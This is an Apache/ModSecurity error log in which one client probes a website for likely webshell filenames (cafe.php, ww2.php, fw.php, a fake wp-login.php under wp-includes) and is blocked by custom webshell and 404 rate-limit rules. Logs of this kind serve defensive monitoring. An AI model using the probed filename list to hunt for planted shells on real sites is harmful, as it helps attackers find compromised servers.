[Tue Nov 25 20:15:42.189715 2025] [:error] [pid 2987:tid 2996] [client 134.149.17.123:65365] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cafe.php"] [unique_id "aSWd7s-djEt-pTzPxnyuxAAAAUc"]
[Tue Nov 25 20:15:42.942720 2025] [:error] [pid 14168:tid 14186] [client 134.149.17.123:65399] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cafe.php"] [unique_id "aSWd7vR-ZDU0QEgAIItx7QAAAM8"]
[Tue Nov 25 20:15:43.871643 2025] [:error] [pid 28740:tid 28814] [client 134.149.17.123:65434] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cafe.php"] [unique_id "aSWd71ppQCoYxWW6V0WRfgAAAlc"]
[Tue Nov 25 20:15:45.187169 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:65462] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cafe.php"] [unique_id "aSWd8RG9n7UHEkwDTyinuwAAAFQ"]
[Tue Nov 25 20:15:46.988203 2025] [:error] [pid 28842:tid 28994] [client 134.149.17.123:65424] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww2.php"] [unique_id "aSWd8tNmoaPf6T4-6C2ivQAAA0Q"]
[Tue Nov 25 20:15:47.968053 2025] [:error] [pid 28739:tid 28763] [client 134.149.17.123:65374] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww2.php"] [unique_id "aSWd8xxGpKmlkG4FexSGHwAAAgE"]
[Tue Nov 25 20:15:49.072115 2025] [:error] [pid 14077:tid 14114] [client 134.149.17.123:65453] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww2.php"] [unique_id "aSWd9RG9n7UHEkwDTyinwAAAAEQ"]
[Tue Nov 25 20:15:50.023665 2025] [:error] [pid 28739:tid 28765] [client 134.149.17.123:65422] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww2.php"] [unique_id "aSWd9hxGpKmlkG4FexSGIwAAAgM"]
[Tue Nov 25 20:15:50.950274 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:17359] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww3.php"] [unique_id "aSWd9hG9n7UHEkwDTyinxgAAAFQ"]
[Tue Nov 25 20:15:52.244470 2025] [:error] [pid 14076:tid 14099] [client 134.149.17.123:65360] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww3.php"] [unique_id "aSWd-HsB4Gz6Qw-pvBshwwAAABI"]
[Tue Nov 25 20:15:53.721886 2025] [:error] [pid 28740:tid 28808] [client 134.149.17.123:65421] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww3.php"] [unique_id "aSWd-VppQCoYxWW6V0WRigAAAlE"]
[Tue Nov 25 20:15:55.312762 2025] [:error] [pid 28842:tid 28991] [client 134.149.17.123:65354] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww3.php"] [unique_id "aSWd-9NmoaPf6T4-6C2i6wAAA0E"]
[Tue Nov 25 20:15:57.256009 2025] [:error] [pid 28836:tid 28968] [client 134.149.17.123:65432] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSWd_ZwNRsoxcLQGkTfOVAAAAs0"]
[Tue Nov 25 20:15:58.337032 2025] [:error] [pid 28842:tid 29021] [client 134.149.17.123:65384] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSWd_tNmoaPf6T4-6C2jEAAAA1M"]
[Tue Nov 25 20:15:59.928670 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:17355] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSWd_xG9n7UHEkwDTyin-AAAAFQ"]
[Tue Nov 25 20:16:07.089089 2025] [proxy_fcgi:error] [pid 28740:tid 28804] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:07.402680 2025] [proxy_fcgi:error] [pid 28740:tid 28792] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:07.691267 2025] [proxy_fcgi:error] [pid 28740:tid 28805] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:08.124459 2025] [proxy_fcgi:error] [pid 28740:tid 28801] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:08.488512 2025] [proxy_fcgi:error] [pid 28740:tid 28800] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:08.742104 2025] [proxy_fcgi:error] [pid 28740:tid 28808] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:09.511087 2025] [proxy_fcgi:error] [pid 28740:tid 28798] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:09.876280 2025] [proxy_fcgi:error] [pid 28740:tid 28791] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:10.129315 2025] [proxy_fcgi:error] [pid 28740:tid 28806] [client 134.149.17.123:65359] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:16:10.380978 2025] [:error] [pid 28740:tid 28792] [client 134.149.17.123:65359] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aSWeClppQCoYxWW6V0WRsAAAAkE"]
[Tue Nov 25 20:16:11.272399 2025] [:error] [pid 28836:tid 29011] [client 134.149.17.123:65441] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aSWeC5wNRsoxcLQGkTfOXQAAAtU"]
[Tue Nov 25 20:16:12.219988 2025] [:error] [pid 14168:tid 14172] [client 134.149.17.123:17390] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aSWeDPR-ZDU0QEgAIItx_gAAAME"]
[Tue Nov 25 20:16:13.100387 2025] [:error] [pid 14168:tid 14184] [client 134.149.17.123:65449] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aSWeDfR-ZDU0QEgAIItyAgAAAM0"]
[Tue Nov 25 20:16:13.941418 2025] [:error] [pid 28836:tid 28964] [client 134.149.17.123:65435] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeDZwNRsoxcLQGkTfOXwAAAsk"]
[Tue Nov 25 20:16:15.367405 2025] [:error] [pid 28609:tid 28641] [client 134.149.17.123:17294] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeDyGGdT-nZJVs3x3PXgAAAZc"]
[Tue Nov 25 20:16:16.598167 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:65440] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeEBG9n7UHEkwDTyioHwAAAFQ"]
[Tue Nov 25 20:16:17.958928 2025] [:error] [pid 14078:tid 14153] [client 134.149.17.123:65369] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSWeEdVXYbb0ii_rVoJTQwAAAJA"]
[Tue Nov 25 20:16:18.766772 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:65427] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow3.php"] [unique_id "aSWeEiGGdT-nZJVs3x3PYwAAAYw"]
[Tue Nov 25 20:16:19.587358 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:17362] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow3.php"] [unique_id "aSWeExG9n7UHEkwDTyioIwAAAEU"]
[Tue Nov 25 20:16:20.371882 2025] [:error] [pid 28740:tid 28803] [client 134.149.17.123:65353] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow3.php"] [unique_id "aSWeFFppQCoYxWW6V0WR4QAAAkw"]
[Tue Nov 25 20:16:21.243176 2025] [:error] [pid 28740:tid 28814] [client 134.149.17.123:65457] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow3.php"] [unique_id "aSWeFVppQCoYxWW6V0WR6AAAAlc"]
[Tue Nov 25 20:16:21.904439 2025] [:error] [pid 14168:tid 14179] [client 134.149.17.123:65361] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeFfR-ZDU0QEgAIItyCwAAAMg"]
[Tue Nov 25 20:16:22.661915 2025] [:error] [pid 14077:tid 14132] [client 134.149.17.123:65346] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeFhG9n7UHEkwDTyioKgAAAFY"]
[Tue Nov 25 20:16:23.814560 2025] [:error] [pid 14077:tid 14133] [client 134.149.17.123:65438] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeFxG9n7UHEkwDTyioLgAAAFc"]
[Tue Nov 25 20:16:24.597409 2025] [:error] [pid 28836:tid 29012] [client 134.149.17.123:17354] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeGJwNRsoxcLQGkTfOaQAAAtY"]
[Tue Nov 25 20:16:25.424705 2025] [:error] [pid 28842:tid 28997] [client 134.149.17.123:65442] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSWeGdNmoaPf6T4-6C2jQwAAA0c"]
[Tue Nov 25 20:16:26.344632 2025] [:error] [pid 14076:tid 14093] [client 134.149.17.123:65393] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSWeGnsB4Gz6Qw-pvBsh9gAAAAw"]
[Tue Nov 25 20:16:27.097510 2025] [:error] [pid 14076:tid 14088] [client 134.149.17.123:65355] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSWeG3sB4Gz6Qw-pvBsh-wAAAAc"]
[Tue Nov 25 20:16:28.228326 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:17378] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aSWeHCGGdT-nZJVs3x3PaQAAAYw"]
[Tue Nov 25 20:16:29.689713 2025] [:error] [pid 28609:tid 28636] [client 134.149.17.123:65387] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSWeHSGGdT-nZJVs3x3PagAAAZI"]
[Tue Nov 25 20:16:30.566951 2025] [:error] [pid 14077:tid 14121] [client 134.149.17.123:17376] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "aSWeHhG9n7UHEkwDTyioOAAAAEs"]
[Tue Nov 25 20:16:31.749128 2025] [:error] [pid 28740:tid 28814] [client 134.149.17.123:65443] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "aSWeH1ppQCoYxWW6V0WSGAAAAlc"]
[Tue Nov 25 20:16:32.392420 2025] [:error] [pid 14078:tid 14153] [client 134.149.17.123:65408] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "aSWeINVXYbb0ii_rVoJTTQAAAJA"]
[Tue Nov 25 20:16:33.813613 2025] [:error] [pid 28740:tid 28798] [client 134.149.17.123:17345] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/termps.php"] [unique_id "aSWeIVppQCoYxWW6V0WSHAAAAkc"]
[Tue Nov 25 20:16:34.674488 2025] [:error] [pid 14078:tid 14144] [client 134.149.17.123:65439] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aSWeItVXYbb0ii_rVoJTTwAAAIc"]
[Tue Nov 25 20:16:35.547045 2025] [:error] [pid 14076:tid 14093] [client 134.149.17.123:17346] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aSWeI3sB4Gz6Qw-pvBsiDAAAAAw"]
[Tue Nov 25 20:16:36.353609 2025] [:error] [pid 14077:tid 14113] [client 134.149.17.123:17344] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aSWeJBG9n7UHEkwDTyioQwAAAEM"]
[Tue Nov 25 20:16:37.214201 2025] [:error] [pid 28740:tid 28797] [client 134.149.17.123:65456] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aSWeJVppQCoYxWW6V0WSJwAAAkY"]
[Tue Nov 25 20:16:38.067598 2025] [:error] [pid 28842:tid 28995] [client 134.149.17.123:17381] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeJtNmoaPf6T4-6C2jVgAAA0U"]
[Tue Nov 25 20:16:38.843524 2025] [:error] [pid 14077:tid 14110] [client 134.149.17.123:17388] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeJhG9n7UHEkwDTyioSwAAAEA"]
[Tue Nov 25 20:16:39.969852 2025] [:error] [pid 2987:tid 2995] [client 134.149.17.123:17386] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeJ8-djEt-pTzPxnyu_wAAAUY"]
[Tue Nov 25 20:16:40.896823 2025] [:error] [pid 2987:tid 3010] [client 134.149.17.123:17351] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aSWeKM-djEt-pTzPxnyvAgAAAVU"]
[Tue Nov 25 20:16:41.701014 2025] [:error] [pid 2987:tid 3004] [client 134.149.17.123:65370] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aSWeKc-djEt-pTzPxnyvAwAAAU8"]
[Tue Nov 25 20:16:42.577037 2025] [:error] [pid 28740:tid 28813] [client 134.149.17.123:65411] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aSWeKlppQCoYxWW6V0WSKgAAAlY"]
[Tue Nov 25 20:16:43.426946 2025] [:error] [pid 14077:tid 14119] [client 134.149.17.123:65458] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aSWeKxG9n7UHEkwDTyioVAAAAEk"]
[Tue Nov 25 20:16:44.338804 2025] [:error] [pid 14076:tid 14083] [client 134.149.17.123:17407] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aSWeLHsB4Gz6Qw-pvBsiDgAAAAI"]
[Tue Nov 25 20:16:45.219770 2025] [:error] [pid 14076:tid 14086] [client 134.149.17.123:65349] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aSWeLXsB4Gz6Qw-pvBsiEAAAAAU"]
